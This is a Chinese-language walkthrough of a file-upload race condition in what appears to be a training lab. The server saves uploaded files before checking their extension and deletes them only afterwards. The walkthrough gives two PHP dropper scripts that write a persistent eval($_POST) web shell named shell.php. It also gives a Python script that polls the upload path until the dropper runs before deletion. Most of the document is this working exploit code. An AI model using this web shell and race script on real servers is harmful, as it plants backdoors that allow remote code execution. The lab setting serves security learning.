分析
这是由于逻辑顺序判断不严谨而导致的一个漏洞。白盒角度分析代码执行顺序是先将上传的文件移动到一个目标路径,然后检查文件的扩展名是否在允许的数组中,如果不是,就删除文件,如果是,就重命名文件。
在检查和删除文件之前,这个文件已经保存到服务器目标路径上了,因此有可能访问到还没来得及检查删除的文件。
如果上传的文件是一个PHP脚本,那么在删除之前就有可能被访问执行。
即使前面的顺序改过来了,还有一点就是这一关是先移动文件再重命名的,同样会有一个时间差可以访问到上传的文件,这个是在下一关的突破点。
以下PHP代码在执行成功时创建一个shell.php并写入后门代码。
<?php
if (!file_exists('shell.php') && file_put_contents('shell.php', '<?php @eval($_POST[\'x\']);?>')) {
echo "The shell.php file was successfully created and the content has been written.\n";
} else {
echo "The file shell.php already exists.\n";
}
?>
<?php
// 记得转义单引号或者用双引号区分
$newScriptContent = '<?php @eval($_POST[\'x\']);?>';
// 新脚本的文件名
$newScriptFilename = 'shell.php';
// 检查文件是否存在
if (!file_exists($newScriptFilename)) {
// 创建新脚本文件
$file = fopen($newScriptFilename, 'w');
if ($file) {
fwrite($file, $newScriptContent);
fclose($file);
echo "The $newScriptFilename file was successfully created and the content has been written.\n";
} else {
echo "File $newScriptFilename failed to create.\n";
}
} else {
echo "The file $newScriptFilename already exists.\n";
}
?>
以下python代码高频访问移动之后未被删除之前的php脚本。
import requests
import time
# 设置目标网站的URL
url = "xxx"
# 设置每秒的访问次数
rate = 5
# 设置持续的时间
duration = 60
# 计算每次访问的间隔
interval = 1 / rate
# 初始化开始时间
start_time = time.time()
# 初始化访问次数
count = 0
# 在持续时间内重复发送请求
while time.time() - start_time < duration:
try:
# 发送请求并获取响应
response = requests.get(url)
# 计数
count += 1
# 响应的文本内容里有"successfully"或者"exists"就停止循环
if "successfully" in response.text or "exists" in response.text:
print("ok" + "Status code - " + str(response.status_code) + "\n")
# 获取返回的文本内容
print(response.text)
break
time.sleep(interval)
except requests.RequestException as e:
# 输出异常信息并退出循环
print("Error: " + str(e))
break
print("总请求次数: " + str(count))
演示
由于文件移动到目标路径在前,拓展名检查在后,所以本关是任意文件上传。
只需要不断的上传的文件,可以观察到服务器会有上传的文件一闪而过。所以可以通过python脚本不断的访问,在文件被删除之前触发执行上传的文件。
即使执行了上传的的文件,这个文件执行之后也会被检测删除。无所谓,上传的文件生成webshell不会被删除。